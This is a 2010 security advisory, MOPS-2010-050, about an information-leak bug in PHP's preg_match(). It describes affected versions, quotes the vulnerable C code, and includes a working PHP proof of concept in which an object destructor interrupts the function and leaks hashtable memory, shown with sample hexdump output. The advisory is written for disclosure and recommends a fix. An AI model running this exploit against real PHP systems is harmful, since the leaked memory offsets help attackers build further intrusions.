MOPS-2010-050: PHP preg_match() Interruption Information Leak Vulnerability

May 31st, 2010

PHP’s preg_match() function can be interrupted by an object destructor causing information leaks due to call time pass by reference.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions.

One of the functions that is vulnerable to user space interruption is preg_match().

static void php_do_pcre_match(INTERNAL_FUNCTION_PARAMETERS, int global) /* {{{ */
{
    ...

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, ((global) ? "ssz|ll" : "ss|zll"), &regex, &regex_len,
                              &subject, &subject_len, &subpats, &flags, &start_offset) == FAILURE) {
        RETURN_FALSE;
    }
   
    /* Compile regex or get it from cache. */
    if ((pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC)) == NULL) {
        RETURN_FALSE;
    }

    php_pcre_match_impl(pce, subject, subject_len, return_value, subpats,
        global, ZEND_NUM_ARGS() >= 4, flags, start_offset TSRMLS_CC);
}
/* }}} */

/* {{{ php_pcre_match_impl() */
PHPAPI void php_pcre_match_impl(pcre_cache_entry *pce, char *subject, int subject_len, zval *return_value,
    zval *subpats, int global, int use_flags, long flags, long start_offset TSRMLS_DC)
{
    ...

    /* Overwrite the passed-in value for subpatterns with an empty array. */
    if (subpats != NULL) {
        zval_dtor(subpats);
        array_init(subpats);
    }

    subpats_order = global ? PREG_PATTERN_ORDER : 0;

    if (use_flags) {
        offset_capture = flags & PREG_OFFSET_CAPTURE;

The third parameter is passed by reference to capture the matches. It is destructed inside the function and replaced by an array. This means in case of an object the object’s destructor is called. Therefore the object’s __destruct() method can launch an interruption attack against the second function parameter. This allows e.g. to leak the content of hastable memory in order to get important memory offsets.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

<?php
class dummy
{
    function __destruct()
    {                      
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Trigger the Code */
$x = new dummy();
preg_match("/^.*$/", &$GLOBALS['var'], $x);
hexdump($x[0]);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
}
?>

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.




blog comments powered by Disqus